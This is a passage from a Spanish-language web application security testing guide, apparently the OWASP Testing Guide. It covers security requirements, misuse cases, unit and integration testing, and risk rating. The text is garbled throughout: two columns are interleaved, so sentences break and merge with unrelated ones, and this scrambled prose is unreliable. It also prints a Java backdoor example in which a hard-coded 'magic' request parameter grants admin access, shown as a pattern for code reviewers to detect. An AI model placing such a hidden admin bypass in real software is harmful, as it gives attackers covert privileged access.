caracteres, no es posible adivinar combinaciones de aproximadamente 28
caracteres. Se necesitaría la fuerza bruta de un escáner de aplicaciones web (o
adivinar) para encontrar todo el espacio de clave de 30 caracteres. Que es hasta 30 ^
28 permutaciones, o trillones de peticiones HTTP. Esto es un electrón en un pajar contexto en el que se construye el código. Las herramientas de análisis de código
digital. fuente son útiles en la determinación de problemas de seguridad debido a errores de
codificación; sin embargo, se requiere un esfuerzo manual significativo para validar
los resultados.
La verificación del código de este parámetro mágico ejemplar puede verse a

continuación:
Derivar requerimientos de prueba de seguridad
public void doPost( HttpServletRequest request, HttpServletResponse
Para tener un programa de pruebas exitoso, uno debe saber cuáles son los objetivos
response)
de la prueba. Estos objetivos se especifican en los requisitos de seguridad. Esta
sección explica en detalle cómo documentar los requisitos de las pruebas de
{
seguridad, derivándolos de reglamentos y normas aplicables y de los requisitos
String magic = “sf8g7sfjdsurtsdieerwqredsgnfg8d”; positivos y negativos de la aplicación. También habla de cómo los requisitos de
boolean admin = magic.equals( request.getParameter(“magic”));
20
if (admin) doAdmin( request, response);
else …. // normal processing

seguridad conducen efectivamente las pruebas de seguridad durante el SDLC y Otra sección de la lista de verificación debe cumplir con los requisitos generales
cómo se pueden utilizar los datos de pruebas de seguridad para gestionar para el cumplimiento de las políticas y normas de seguridad de información de la
eficazmente los riesgos de seguridad de software. organización. Desde la perspectiva de los requisitos funcionales, los requisitos para
el control de seguridad deben guiar a una sección específica de las normas de
seguridad de la información. Un ejemplo de tal requisito puede ser: "la complejidad
de la contraseña de seis caracteres alfanuméricos debe aplicarse por los controles de
Objetivos de realizar pruebas autenticación utilizados por la aplicación". Cuando los requisitos de seguridad
apuntan hacia normas que deben ser cumplidas, una prueba de seguridad puede
Uno de los objetivos de las pruebas de seguridad es validar que los controles de validar la exposición de riesgos de cumplimiento. Si se encuentra una violación a
seguridad funcionan como se espera. Esto se documenta por medio de requisitos de las políticas y normas de seguridad de la información, ésta resultará en un riesgo
seguridad que describen la funcionalidad del control de seguridad. En un nivel alto, que puede ser documentado y que la empresa tiene que gestionar. Puesto que estos
esto significa comprobar la confidencialidad, integridad y disponibilidad de los requisitos de seguridad son exigibles, estos deben estar bien documentados y
datos, así como el servicio. El otro objetivo es validar que los controles de validados con pruebas de seguridad.
seguridad se implementen con pocas o ninguna vulnerabilidad. Hay
vulnerabilidades comunes, tales como el OWASP Top Ten, así como las
vulnerabilidades que se han identificado previamente en evaluaciones de seguridad
durante el SDLC, como modelaje de amenazas, análisis de código fuente y prueba Validación de requisitos de seguridad
de penetración.
Desde la perspectiva de funcionalidad, la validación de requisitos de seguridad
Documentación de requisitos de seguridad es el principal objetivo de las pruebas de seguridad. Desde la perspectiva de la
gestión de riesgo, la validación de requisitos de seguridad es el objetivo de las
El primer paso en la documentación de requisitos de seguridad es entender los evaluaciones de seguridad de información. En un nivel alto, el principal objetivo
requerimientos del negocio. Un documento de requisitos del negocio puede de las evaluaciones de seguridad de información es la identificación de grietas en
proporcionar información inicial de alto nivel sobre la funcionalidad esperada de la los controles de seguridad, tales como la falta de controles básicos de
aplicación. Por ejemplo, el propósito principal de una aplicación puede ser autenticación, autorización o controles de encriptado. Más a profundidad, el
proporcionar servicios financieros a clientes o permitir adquirir bienes de un objetivo de la evaluación de seguridad es el análisis de riesgo, tal como la
catálogo en línea. Una sección de seguridad de los requerimientos del negocio debe identificación de las debilidades potenciales en los controles de seguridad que
resaltar la necesidad de proteger los datos del cliente, así como cumplir con la garanticen la confidencialidad, integridad y disponibilidad de los datos. Por
documentación de seguridad aplicable, tal como regulaciones, estándares y ejemplo, cuando la aplicación trata con información personal identificable (PII)
políticas. y datos sensibles, el requisito de seguridad a validar es el cumplimiento de las
políticas de seguridad de la empresa en cuanto al encriptado de la información
de dichos datos tanto en tránsito como en almacenamiento.
Una lista general de las regulaciones, estándares y políticas es un buen análisis de Asumiendo que el cifrado se utiliza para proteger los datos, los algoritmos de
cumplimiento de seguridad preliminar para las aplicaciones web. Por ejemplo, el cifrado y longitud de claves deben cumplir con los estándares de encriptación de
cumplimiento de las reglamentaciones puede identificarse revisando información la organización. Estos pueden requerir que solo se utilice ciertos algoritmos y
del sector empresarial y del país o estado donde funcionará la aplicación. Algunas longitudes de clave. Por ejemplo, un requisito de seguridad que puede ser
de estas normas y directrices de cumplimiento podrían traducirse en requerimientos probado es verificar que se utilizan sólo códigos permitidos (por ejemplo, SHA-
técnicos específicos para controles de seguridad. Por ejemplo, en el caso de 256, RSA, AES) con longitud de claves mínimas permitidas (por ejemplo, más
aplicaciones financieras, el cumplimiento de las pautas de la FFIEC para de 128 bits para encriptado simétrico y de más de 1024 para encriptado
autenticación [15] requiere que las instituciones financieras implementen asimétrico).
aplicaciones que mitiguen los riesgos de autenticación débil con autenticación de
múltiples etapas y control de seguridad multifactorial.
Desde la perspectiva de la evaluación de seguridad, los requisitos de seguridad

pueden ser validados en diferentes fases de la SDLC utilizando diferentes
Los estándares aplicables para la seguridad deben también estar capturados en la artefactos y metodologías de prueba. Por ejemplo, la creación de modelos de
lista de verificación de requisitos generales de seguridad. Por ejemplo, en el caso de amenazas se centra en la identificación de fallas de seguridad durante el diseño,
aplicaciones que manejan datos de tarjetas de crédito del cliente, el cumplimiento análisis del código de seguridad; las revisiones se centran en identificar
con el estándar PCI DSS [16] prohíbe el almacenamiento de información de PINS problemas de seguridad en el código fuente durante el desarrollo, y las pruebas
y datos CVV2 y requiere que el comerciante proteja los datos de la banda de penetración se centran en la identificación de vulnerabilidades en la
magnética en el almacenamiento y transmisión mediante encriptación y en pantalla aplicación durante la prueba o validación.
mediante enmascarar los datos. Estos requisitos de seguridad PCI DSS pudieran ser
validados a través del análisis del código fuente.
Los problemas de seguridad que se identifican temprano en el SDLC se pueden

documentar en un plan de pruebas para ser validadas posteriormente con pruebas
de seguridad. Combinando los resultados de las diferentes técnicas de prueba, es
21
posible derivar mejor los casos de prueba de seguridad y aumentar el nivel de una función hash para cifrar una contraseña, sin la aplicación de una semilla en
protección de los requisitos de seguridad. Por ejemplo, distinguir las verdaderas el valor. Desde la perspectiva de codificación segura, se trata de una
vulnerabilidades de los no-explotables es posible cuando se combinan los vulnerabilidad que afecta a la encriptación usada para la autenticación con una
resultados de pruebas de penetración y análisis de código fuente. Considerando vulnerabilidad cuya causa está en el error de codificación. Puesto que la causa es
la prueba de seguridad para una vulnerabilidad de inyección de un S L, por una codificación insegura, el requisito de seguridad puede ser documentado en
ejemplo una prueba de Caja Negra,en primer lugar, podría involucrar un análisis las normas de codificación seguras y validado a través de revisiones de código
de la aplicación para identificar la vulnerabilidad. La primera evidencia de una seguro durante la fase de desarrollo de la SDLC.
potencial vulnerabilidad de inyección de una SQL que puede ser validada es la
generación de una excepción de la SQL. Una
Pruebas de seguridad y Análisis de riesgos
validación posterior de la vulnerabilidad de la SQL puede implicar inyectar Los requerimientos de seguridad deben tomar en cuenta la gravedad de las
manualmente vectores de ataque para modificar la gramática de la consulta SQL vulnerabilidades para apoyar una estrategia de mitigación de riesgo. Asumiendo
para explotar la divulgación de la información. Esto podría involucrar una gran que la organización mantiene un registro de vulnerabilidades en aplicaciones (es
cantidad de análisis de ensayo y error hasta que la consulta dañina se ejecute. decir, una base de conocimiento de vulnerabilidades), los temas de seguridad
Suponiendo que el evaluador tenga el código fuente, ella puede aprender a partir pueden ser reportados por tema, tipo, causa principal, mitigación y direccionados
del análisis de código fuente, como construir el vector de ataque de la SQL que a las aplicaciones donde se encuentran. Tal base de conocimiento de
puede explotar la vulnerabilidad (por ejemplo, ejecutar una consulta maliciosa vulnerabilidades también puede utilizarse para establecer métricas para analizar
que devuelve datos confidenciales a un usuario no autorizado). la eficacia de las pruebas de seguridad en el SDLC.
Taxonomías de las amenazas y defensas
La clasificación de amenazas y defensas, que considera la raíz de las Por ejemplo, considere un problema de validación de entrada, como una
vulnerabilidades, es el factor crítico en la verificación de que los controles de inyección de SQL, que se identificó a través del análisis del código fuente y
seguridad sean diseñados, codificados y construidos para mitigar el impacto de registrado con una causa principal de error de codificación y tipo, una
la exposición de esas vulnerabilidades. En el caso de las aplicaciones web, la vulnerabilidad de validación de entrada. La exposición de esta vulnerabilidad
exposición de los controles de seguridad para vulnerabilidades comunes, tales puede ser evaluada mediante una prueba de penetración, mediante el análisis de
como el OWASP Top Ten, puede ser un buen punto de partida para derivar los campos de entrada con varios vectores de ataque de inyección de SQL. Esta
requisitos generales de seguridad. Más concretamente, el framework de prueba puede validar que los caracteres especiales son filtrados antes de llegar a
seguridad de aplicaciones web [17] proporciona una clasificación (por ejemplo la base de datos y mitigan la vulnerabilidad. Combinando los resultados del
taxonomía) de vulnerabilidades que pueden ser documentadas en diferentes análisis de código fuente y pruebas de penetración es posible determinar la
guías y estándares diferentes y validados con pruebas de seguridad. probabilidad y la exposición a la vulnerabilidad y calcular la calificación de
riesgo de la vulnerabilidad. Informando las calificaciones de riesgo de
vulnerabilidad en los resultados (por ejemplo, informe de pruebas) es posible
decidir sobre la estrategia de mitigación. Por ejemplo, las vulnerabilidades de
El foco de una categorización de amenazas y defensas es definir los requisitos de mediano y alto riesgo pueden priorizarse para ser remediadas, mientras que las
seguridad en cuanto a las amenazas y la causa principal de la vulnerabilidad. de bajo riesgo se pueden arreglar en las siguientes versiones.
Una amenaza puede ser categorizada usando STRIDE [18] como Suplantación
de identidad, Manipulación, Repudio, revelación de Información, Negación de
servicio y Elevación de privilegios. La causa puede calificarse como falla de
seguridad en el diseño, un error de seguridad en la codificación o un problema Teniendo en cuenta los escenarios de amenaza de la explotación de
debido a una configuración insegura. Por ejemplo, la causa de la vulnerabilidad vulnerabilidades comunes, es posible identificar los riesgos potenciales que
de autenticación débil podría ser la falta de autenticación mutua cuando los datos deben probarse en el control de seguridad de la aplicación. Por ejemplo, las diez
cruzan un límite de confianza entre los niveles del cliente y de ensambles del vulnerabilidades más importantes de OWASP pueden ser direccionadas a
servidor de la aplicación. Un requisito de seguridad que capture la amenaza de ataques como el fraude electrónico (phishing), violaciones de privacidad, robo
no repudio durante una revisión del diseño de arquitectura permite la de identidad, sistema comprometido, alteración de datos o destrucción de datos,
documentación del requisito de defensa (por ejemplo, autenticación mutua) que pérdidas financieras y pérdida de reputación. Estos temas deberían documentarse
puede ser validada posteriormente con pruebas de seguridad. como parte de los escenarios de amenaza. Pensando en términos de amenazas y
vulnerabilidades, es posible diseñar una batería de pruebas que simulen estos
escenarios de ataque. Idealmente, la base de conocimientos de vulnerabilidades
de la organización puede utilizarse para derivar pruebas de seguridad dirigidas
Una categorización de amenazas y defensas para las vulnerabilidades puede por los casos de riesgos de seguridad para validar los escenarios de ataque más
utilizarse también para documentar requerimientos de seguridad de la probables. Por ejemplo, si el robo de identidad se considera de alto riesgo,
codificación segura como estándares de codificación seguras. Un ejemplo de un escenarios de prueba negativos deben validar la mitigación de los impactos
error de codificación común en los controles de autenticación consiste en aplicar

22
derivados de la explotación de las vulnerabilidades de autenticación, controles • La plantilla de restablecimiento de contraseña debe validar el nombre de
criptográficos, validación del ingreso y controles de validación. usuario y el email del usuario registrado antes de enviar la contraseña temporal
del usuario por correo electrónico. La contraseña temporal emitida debe ser una
contraseña de un solo uso. Se enviará un enlace a la página de restablecimiento
de contraseña al usuario. La página de restablecimiento de contraseña debe
validar la contraseña temporal del usuario, la contraseña nueva, así como la
respuesta del usuario a la pregunta de desafío.
Derivación de requisitos de pruebas de seguridad

funcionales y no funcionales
Requisitos de seguridad a causa del riesgo
Requerimientos de seguridad funcional
Las pruebas de seguridad deben ser dirigidas de acuerdo al riesgo; esto significa
que necesitan validar la aplicación de un comportamiento inesperado. Éstos
también se llaman "requisitos negativos", ya que especifican lo que no debe
Desde la perspectiva de los requisitos de seguridad funcional, las normas hacer la aplicación.
aplicables, las reglamentaciones y políticas conducen tanto a la necesidad de un
tipo de control de seguridad, así como a la funcionalidad del control. Estos
requisitos también se denominan "requisitos positivos", ya que aseguran la
Ejemplos de requisitos negativos son:
funcionalidad prevista a través de pruebas de seguridad. Ejemplos de requisitos
positivos son: "la aplicación bloqueará al usuario después de seis intentos
fallidos de ingreso" o "las contraseñas deben tener un mínimo de seis caracteres
alfanuméricos". La validación de requisitos positivos consiste en afirmar la
• La aplicación no debe permitir que los datos sean modificados o destruidos.
funcionalidad esperada y se puede probar creando nuevamente las condiciones
de prueba y realizando la prueba de acuerdo con las entradas predefinidas. Los
• La aplicación no debe ser comprometida o mal utilizada para transacciones
resultados aparecen entonces como una condición de error o de pasar.
financieras no autorizadas por un usuario malintencionado.
Para validar los requisitos de seguridad con pruebas de seguridad, estos deben
Los requisitos negativos son más difíciles de probar, porque no hay ningún
estar impulsados por la función y necesitan resaltar la funcionalidad esperada (el
comportamiento esperado que se pueda buscar. Esto podría requerir que un
qué) e implícitamente la implementación (el cómo). Ejemplos de requisitos de
analista de amenazas cree causas y condiciones de entradas imprevisibles. Aquí
diseño de alto nivel de seguridad para la autenticación pueden ser:
es donde las pruebas de seguridad deben ser conducidas por el análisis de riesgo
y modelo de amenazas. La clave es documentar los escenarios de amenaza y la
funcionalidad de la defensa como factor para mitigar una amenaza.
• Proteger las credenciales de usuario y secretos compartidos en tránsito y en

almacenamiento.
Por ejemplo, en el caso de controles de autenticación, los siguientes requisitos de
• Enmascarar cualquier dato confidencial en pantalla (por ejemplo, contraseñas,
seguridad se pueden documentar desde la perspectiva de amenazas y defensas:
cuentas).
• Bloqueo de la cuenta de usuario después de un cierto número de intentos

fallidos de registro.
• Encriptado de datos de autenticación en tránsito o almacenamiento para mitigar
el riesgo de ataques de divulgación de información y protocolo de autenticación.
• No mostrar errores de validación específicos para el usuario como
consecuencia de un error de inicio de sesión.
• Cifrar las contraseñas usando encriptado no reversible como el uso de un
repertorio (p. ej., HASH) y una semilla para evitar el ataque de diccionario.
• Permitir solamente contraseñas que sean alfanuméricas, que incluyan
caracteres especiales y una longitud mínima de seis caracteres, para limitar la
• Bloquear cuentas después de alcanzar un umbral de fallas de inicio de sesión y
superficie de ataque.
hacer cumplir la complejidad de contraseña para mitigar el riesgo de ataques
forzosos de contraseñas.
• Permitir la funcionalidad de cambio de contraseña sólo a usuarios autenticados
mediante la validación de la contraseña anterior, nueva contraseña y la respuesta
• Mostrar mensajes de error genérico tras la validación de credenciales para
del usuario a la pregunta de desafío, para evitar el acceso forzoso a una mitigar el riesgo de cosecha de cuentas o enumeración.
contraseña a través del cambio de contraseña.

23
• Autenticar mutuamente al cliente y al servidor para evitar el no repudio y los

ataques de hombre en el medio (MiTM).
Para derivar los requerimientos de seguridad del uso y mal uso de los casos [20],
es importante definir los escenarios funcionales y los escenarios negativos y
poner éstos en forma gráfica. En el caso de derivación de los requisitos de
Las herramientas del modelo de amenazas, tales como los árboles de amenaza y seguridad para la autenticación, por ejemplo, la siguiente metodología se puede
bibliotecas de ataque, pueden ser útiles para derivar las seguir paso a paso:
hipótesis de prueba negativa. Un árbol de amenazas asumirá un ataque a la raíz Paso 1: Describa la situación funcional: El usuario autentica el ingreso mediante
(por ejemplo, el atacante podría ser capaz de leer mensajes de otros usuarios) e el suministro de un nombre de usuario y contraseña. La aplicación permite el
identificar las diferentes debilidades de los controles de seguridad (por ejemplo, acceso a los usuarios, basada en la autenticación de credenciales del usuario por
la validación de datos falla debido a una vulnerabilidad de inyección SQL) y las parte de la aplicación y proporciona errores específicos al usuario cuando la
defensas necesarias (por ejemplo, implementar la validación de datos y consultas validación falla.
parametrizadas) que pudieran ser validadas en su eficacia en la mitigación de
este tipo de ataques.
Paso 2: Describa el escenario negativo: El atacante rompe la autenticación

utilizando la fuerza bruta o a través de un ataque de diccionario de contraseñas y
la cosecha de vulnerabilidades de cuenta en la aplicación. Los errores de
Cómo derivar los requisitos de las pruebas de seguridad
validación proporcionan información específica para que el atacante adivine qué
mediante casos de uso correcto y uso indebido cuentas son realmente cuentas válidas registradas (usuarios). A continuación, el
atacante
Un prerrequisito para describir la funcionalidad de la aplicación es entender lo

que se supone que la aplicación debe hacer y cómo. Esto puede hacerse intentará forzar la contraseña para esa cuenta válida. Un ataque de fuerza bruta a
mediante la descripción de casos de uso. Los casos de uso, en la forma gráfica contraseñas de mínimo cuatro dígitos a contraseñas de todos los dígitos puede
como se usa generalmente en ingeniería de software, muestra las interacciones tener éxito con un número limitado de intentos (es decir, 10 ^ 4).
de los actores y sus relaciones. Ayudan a identificar a los actores en la
aplicación, sus relaciones, la secuencia prevista de acciones para cada escenario,
acciones alternativas, requisitos especiales, condiciones previas y condiciones
posteriores. Paso 3: Describa escenarios funcionales y escenarios negativos con casos de uso
correcto y uso indebido: El ejemplo gráfico en la figura siguiente muestra la
derivación de los requisitos de seguridad a través de casos de uso correcto y mal
uso. El escenario funcional consiste en las acciones del usuario (introducir un
Al igual que los casos de uso correcto, los casos de uso indebido o casos de nombre de usuario y contraseña) y las acciones de aplicación (autenticar al
abuso [19] describen escenarios de usos no deseados y maliciosos de la usuario y proporcionar un mensaje de error si la validación falla). El caso de mal
aplicación. Estos casos de mal uso proporcionan una forma para describir uso consiste en las acciones del atacante, es decir, tratar de romper la
escenarios de cómo un atacante podría usar indebidamente y abusar de la autenticación usando fuerza bruta mediante un ataque de diccionario y
aplicación. Al revisar los pasos individuales en un escenario de uso y pensar adivinando los nombres de usuario válidos mediante los mensajes de error.
cómo pueden ser aprovechados maliciosamente, se pueden descubrir posibles Representando gráficamente las amenazas a las acciones del usuario (mal uso),
fallas o aspectos de la aplicación que no están bien definidos. La clave es es posible derivar las defensas como las acciones de la aplicación que mitiguen
describir todos los escenarios posibles o, al menos, los escenarios de uso tales amenazas.
correcto y uso indebido más críticos.
Figura 5: Requisitos de seguridad

Los escenarios de uso indebido permiten el análisis de la aplicación desde la
perspectiva del atacante y contribuyen a la identificación de posibles
vulnerabilidades y las defensas necesarias para mitigar el impacto causado por la
exposición potencial a dichas vulnerabilidades. Dados todos los casos de uso y
abuso, es importante analizarlos para determinar cuáles son los más críticos y los
que deben ser documentados en los requisitos de seguridad. La identificación de
los casos más críticos de uso indebido y abuso conducen a la documentación de
requisitos de seguridad y a los controles necesarios donde los riesgos de
seguridad deben ser mitigados.

24
Las pruebas de seguridad durante la fase de desarrollo del SDLC representan la

primera oportunidad para los desarrolladores de asegurar que los componentes
de software individuales que han desarrollado pasan pruebas de seguridad antes
de que se integren con otros componentes y sean añadidos a la aplicación. Los
componentes de software pueden ser artefactos de software tales como
funciones, métodos y clases, así como interfaces de programación de
aplicaciones, bibliotecas y archivos ejecutables. Para las pruebas de seguridad,
los desarrolladores pueden confiar en los resultados de los análisis de código
fuente para verificar estáticamente que el código fuente desarrollado no incluye
posibles vulnerabilidades y cumple con los estándares de seguridad de
codificación. Las pruebas de seguridad de la unidad podrán comprobar
posteriormente de manera dinámica (es decir, en tiempo de ejecución) que los
componentes funcionan como se esperaba. Antes de integrar ambos cambios de
código nuevo y existente en la estructura de la aplicación, los resultados de los
análisis estáticos y dinámicos deben ser revisados y validados.
La validación del código fuente antes de la integración a las estructuras de la

aplicación es, generalmente, responsabilidad del desarrollador sénior. Estos
desarrolladores sénior también son expertos en materia de seguridad de software
y su función es liderar la revisión de seguridad del código. Deben tomar
decisiones sobre la conveniencia de aceptar que el código sea incluido en la
estructura de la aplicación o requiera más cambios y pruebas. Este flujo de
trabajo de revisión de seguridad del código puede aplicarse a través de la
aceptación formal, así como una aprobación en una herramienta de gestión de
flujo de trabajo. Por ejemplo, suponiendo que se use el flujo de trabajo de
administración de defectos típico para errores funcionales, errores de seguridad
que han sido arreglados por un desarrollador pueden presentarse en un sistema
de gestión de defectos o cambios. El director puede ver los resultados registrados
por los desarrolladores en las herramientas y dar la aprobación de las revisiones
a los cambios de código en la estructura de la aplicación.
Paso 4: Obtenga los requisitos de seguridad. En este caso, se derivan los
siguientes requisitos de seguridad para la autenticación:
Pruebas de seguridad en el flujo de trabajo
1) Las contraseñas deben ser alfanuméricas, mayúsculas y minúsculas y un Después de que los componentes y los cambios en el código son probados por
mínimo de longitud de siete caracteres; los desarrolladores y registrados en la estructura de la aplicación, el siguiente
paso, más probablemente en el flujo de trabajo del proceso de desarrollo de
2) Las cuentas deben bloquearse después de cinco intentos de registro sin éxito; software, es realizar pruebas en la aplicación como una entidad completa. Este
nivel de prueba se conoce generalmente como prueba integrada y prueba de
3) Los mensajes de error de registro deben ser genéricos. nivel de sistema. Cuando las pruebas de seguridad son parte de estas actividades
de pruebas, pueden utilizarse para validar la funcionalidad de seguridad de la
aplicación como un todo, así como la exposición a vulnerabilidades a nivel de
aplicación. Estas pruebas de seguridad en la aplicación incluyen tanto las
Estos requisitos de seguridad deben ser documentados y probados. pruebas de Caja Blanca como el análisis de código fuente; y las pruebas de Caja
Negra como pruebas de penetración. Las pruebas de Caja Gris son similares a
las pruebas de Caja Negra. En una prueba de Caja Gris se supone que el
evaluador tiene un conocimiento parcial sobre el manejo de la sesión de la
aplicación y que debe ayudar a entender si el registro de salida y funciones de
Las pruebas de seguridad integradas al desarrollo y flujos
tiempo de caducidad están bien aseguradas.
de trabajo de las pruebas de seguridad
Las pruebas de seguridad en el flujo de trabajo del desarrollo

25
El objetivo de las pruebas de seguridad es el sistema completo que será Desde la perspectiva del desarrollador, el principal objetivo de las pruebas de
potencialmente atacado e incluye el código fuente completo y el seguridad es validar que el código esté siendo desarrollado de acuerdo con los
requisitos de las normas de codificación segura. Los artefactos de codificación
de los desarrolladores (como las funciones, métodos, clases, APIs y bibliotecas)
deben ser validados funcionalmente antes de integrarse a la construcción de la
ejecutable. Una ventaja de las pruebas de seguridad durante esta fase de prueba aplicación.
es que es posible para los evaluadores de seguridad determinar si las
vulnerabilidades pueden ser explotadas y exponen a la aplicación a riesgos
reales. Esto incluye tanto a vulnerabilidades de aplicaciones web comunes como
a problemas de seguridad que se han identificado más temprano en el SDLC con Los requisitos de seguridad que los desarrolladores tienen que seguir deben ser
otras actividades como el modelo de amenazas, el análisis de código fuente y documentados en los estándares de codificación seguros y validados con el
revisiones de seguridad del código. análisis estático y dinámico. Si la actividad de la unidad de pruebas sigue una
revisión de códigos seguros, las pruebas de unidad pueden validar que los
cambios requeridos por las revisiones de seguridad de códigos se hayan
implementado correctamente. Las revisiones de seguridad de códigos y análisis
Por lo general, son los ingenieros de pruebas, no los desarrolladores de software, de código fuente a través de las herramientas de análisis de código fuente ayudan
quienes realizan las pruebas de seguridad cuando la aplicación está en la mira de a los desarrolladores en la identificación de problemas de seguridad en el código
las pruebas del sistema de integración. Estos ingenieros de pruebas tienen fuente mientras se desarrolla. Mediante el uso de pruebas de
conocimientos de seguridad acerca de vulnerabilidades de aplicaciones web,
técnicas de pruebas de seguridad de Caja Negra y Caja Blanca y dominan la
validación de requisitos de seguridad en esta fase. Para poder realizar estas
pruebas de seguridad, es un prerrequisito que los casos de pruebas de seguridad unidad y análisis dinámico (p. ej., depuración) los desarrolladores pueden validar
estén documentados en la guía y procedimientos de pruebas de seguridad. la funcionalidad de seguridad de los componentes, así como verificar que las
defensas que están siendo desarrolladas mitigan cualquier riesgo de seguridad
identificado previamente a través de la creación de modelos de amenazas y el
análisis de código fuente.
Un ingeniero de pruebas que valida la seguridad de la aplicación en el entorno
del sistema integrado podría liberar a la aplicación para ser probada en el entorno
operativo (por ejemplo, pruebas de aceptación del usuario). En esta etapa de
SDLC (es decir, validación), las pruebas funcionales de la aplicación son Una buena práctica de los desarrolladores es crear casos de prueba de seguridad
generalmente una responsabilidad de evaluadores QA, mientras que los hackers como un conjunto de pruebas de seguridad genéricas que forma parte del
de sombrero blanco o consultores de seguridad son generalmente responsables framework de pruebas de la unidad. Un conjunto de pruebas de seguridad
de las pruebas de seguridad. Algunas organizaciones se apoyan en su propio genérico puede derivarse de casos de uso correcto y mal uso previamente
equipo de hackers éticos especializados para llevar a cabo este tipo de pruebas definidos como funciones, métodos y clases. Un conjunto de pruebas de
cuando una evaluación externa no es necesaria (por ejemplo, para propósitos de seguridad genérica puede incluir casos de prueba de seguridad para validar tanto
auditoría). requisitos positivos como negativos para los controles de seguridad, tales como:
Puesto que estas pruebas son el último recurso para solucionar vulnerabilidades • Identidad, autenticación y control de acceso
antes de que la aplicación sea lanzada a la producción, es importante que estos
temas sean abordados según lo recomendado por el equipo de pruebas. Las • Validación de ingreso y codificación
recomendaciones pueden incluir cambios de código, diseño o configuración. En
este nivel, los auditores de seguridad y los oficiales de seguridad de la • Encriptado
información discuten sobre los temas de seguridad reportados y analizan los
riesgos potenciales según los procedimientos de gestión de riesgo de la • Administración de usuarios y sesión
información. Tales procedimientos pueden requerir que el equipo de desarrollo
corrija todas las vulnerabilidades de alto riesgo antes de que la aplicación sea • Manejo de errores y excepciones
liberada, a menos que tales riesgos sean reconocidos y aceptados.
• Auditoría y registro
Pruebas de seguridad del desarrollador

Los desarrolladores empoderados con una herramienta de análisis de código
Pruebas de seguridad en la fase de codificación: pruebas de unidad fuente integrada en su IDE, estándares de codificación seguros y un framework
para la unidad de pruebas de seguridad pueden evaluar y verificar la seguridad
de los componentes de software que está siendo desarrollado. Los casos de

26
pruebas de seguridad pueden ejecutarse para identificar posibles problemas de seguridad del desarrollador. Cuando se implementa una solución para un defecto
seguridad que tienen su causa principal en el código fuente. de codificación identificado mediante el análisis de código fuente; por ejemplo,
los casos de pruebas de seguridad, puede verificar que la aplicación del cambio
de código sigue los requisitos de codificación segura, documentados en los
estándares de codificación seguros.
Además de la validación de parámetros de entrada y salida, que entran y salen
de los componentes, estos temas incluyen verificaciones de autenticación y
autorización realizadas por el componente, protección de los datos dentro del
componente, excepción segura y manejo de errores y garantizar la auditoría y el Las pruebas de análisis de código fuente y de unidad pueden validar que el
registro. Los frameworks de la unidad de prueba tales como Junit, Nunit y Cunit cambio de código mitiga la vulnerabilidad expuesta por el defecto de
se pueden adaptar para verificar los requisitos de la prueba de seguridad. En el codificación previamente identificado. Los resultados del análisis automatizado
caso de pruebas funcionales de seguridad, las pruebas de nivel de unidad pueden de codificación segura también pueden utilizarse como puertas automáticas de
probar la funcionalidad de los controles de seguridad al nivel de componentes de entrada para el control de la versión del software, por ejemplo, los artefactos del
software, tales como las funciones, métodos o clases. Por ejemplo, un caso de software no pueden verificarse dentro de la estructura si existen temas de alto o
prueba puede verificar la validación de entrada y salida (por ejemplo, mediano grado de severidad.
saneamiento de variables) y verificación de límites para las variables, afirmando
la funcionalidad esperada del componente.
Pruebas de seguridad de evaluadores funcionales

Los escenarios de amenaza identificados con los casos de uso y mal uso se
Las pruebas de seguridad durante la fase de integración y
pueden utilizar para documentar los procedimientos para las pruebas de los
componentes de software. En el caso de componentes de autenticación, por validación:
ejemplo, las pruebas de seguridad de la unidad pueden afirmar la funcionalidad
de establecer un bloqueo de cuenta, así como el hecho de que los parámetros de Pruebas integradas de sistema y pruebas operativas
entrada de usuario no pueden ser objeto de abuso para eludir el bloqueo de la
cuenta (por ejemplo, estableciendo el contador de bloqueo de cuenta con un El objetivo principal de las pruebas de sistema integrado es validar el concepto
número negativo). de "defensa en profundidad", es decir, que la aplicación de controles de
seguridad proporciona seguridad en diferentes niveles. Por ejemplo, la falta de
validación de entrada al llamar a un componente integrado con la aplicación es, a
menudo, un factor que puede ser probado con pruebas de integración.
Al nivel de componentes, las pruebas de seguridad de la unidad pueden validar
afirmaciones positivas así como negativas, tales como manejo de errores y
excepciones. Las excepciones deben ser atrapadas sin dejar al sistema en un
estado inseguro, tal como una posible negación de servicio provocada por El entorno de pruebas del sistema de integración también es el primer ambiente
recursos que no se están desasignando (por ejemplo, puntos de conexión no donde los evaluadores pueden simular escenarios de ataque real que puede ser
cerrados dentro de un bloque de declaración final), así como la potencial potencialmente ejecutado por un usuario externo o interno de la aplicación.
elevación de privilegios (por ejemplo, mayores privilegios adquiridos antes de Pruebas a este nivel de seguridad pueden validar si las vulnerabilidades son
que la excepción sea lanzada y que no vuelva a configurar con el nivel anterior reales y pueden ser aprovechadas por los atacantes. Por ejemplo, una potencial
antes de salir de la función). El manejo de errores de seguridad puede validar la vulnerabilidad en el código fuente puede ser clasificada como de alto riesgo
posible revelación de información a través de mensajes informativos de error o debido a la exposición a potenciales usuarios maliciosos, así como debido al
restos de información. impacto potencial (p. ej., acceso a información confidencial).
Los casos de pruebas de seguridad a nivel de unidad pueden ser desarrollados Los escenarios de ataque real pueden analizarse tanto con técnicas manuales de
por un ingeniero de seguridad que es el experto en la materia de seguridad de pruebas como con herramientas de prueba de penetración. Las pruebas de
software y también es responsable de validar que los temas de seguridad en el seguridad de este tipo se denominan también pruebas de hacking ético. Desde la
código fuente se han corregido y se pueden comprobar en la estructura del perspectiva de pruebas de seguridad, éstas son direccionadas por el riesgo y
sistema integrado. Normalmente, el administrador de la construcción de la tienen el objetivo de probar la aplicación en el entorno operativo. El objetivo es
aplicación también se asegura de que archivos ejecutables y bibliotecas de la estructura de la aplicación representativa de aquella versión que será
terceros sean evaluados en busca de vulnerabilidades potenciales antes de implementada en la producción.
integrarlos en la estructura de las aplicaciones.
Incluir las pruebas de seguridad en la fase de integración y validación es

Los escenarios de amenazas de vulnerabilidades comunes que son causados por fundamental para identificar vulnerabilidades causadas por la integración de
una codificación insegura pueden documentarse también en guía de pruebas de componentes, así como la validación de la exposición a esas

27
vulnerabilidades. Las pruebas de seguridad para la aplicación requieren de un

Análisis de datos de prueba de seguridad y reportes
conjunto especializado de habilidades, incluidos los conocimientos de software y
seguridad, que no son típicos de los ingenieros de seguridad. Como resultado de
Objetivos de las métricas de pruebas de seguridad y mediciones
esto, las organizaciones deben, a menudo, entrenar a sus desarrolladores de
software sobre las técnicas de hacking ético, procedimientos de evaluación de
seguridad y las herramientas. Un escenario realista es desarrollar estos recursos
internamente y documentarlos en guías de pruebas de seguridad y
Definir los objetivos de métricas de pruebas de seguridad y mediciones es un
